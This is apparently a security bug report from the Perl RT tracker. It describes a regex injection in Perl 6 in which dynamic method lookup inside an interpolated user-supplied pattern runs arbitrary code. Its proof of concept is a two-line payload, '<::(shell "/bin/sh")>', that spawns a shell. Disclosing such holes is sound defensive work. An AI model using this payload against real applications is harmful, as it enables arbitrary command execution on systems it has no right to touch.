[perl #131079] [SEC] regex injection allows arbitrary execution using dynamic method lookup

[via RT]

# New Ticket Created by  Lloyd Fournier 
# Please include the string:  [perl #131079]
# in the subject line of all future correspondence about this issue. 
# <URL: https://rt.perl.org/Ticket/Display.html?id=131079 >


my $regex-from-user = '{ shell "/bin/sh" }';
try say "foo" ~~ /<$regex-from-user>/; # won't work
$regex-from-user = '<::(shell "/bin/sh")>';
try say "foo" ~~ /<$regex-from-user>/; # you got owned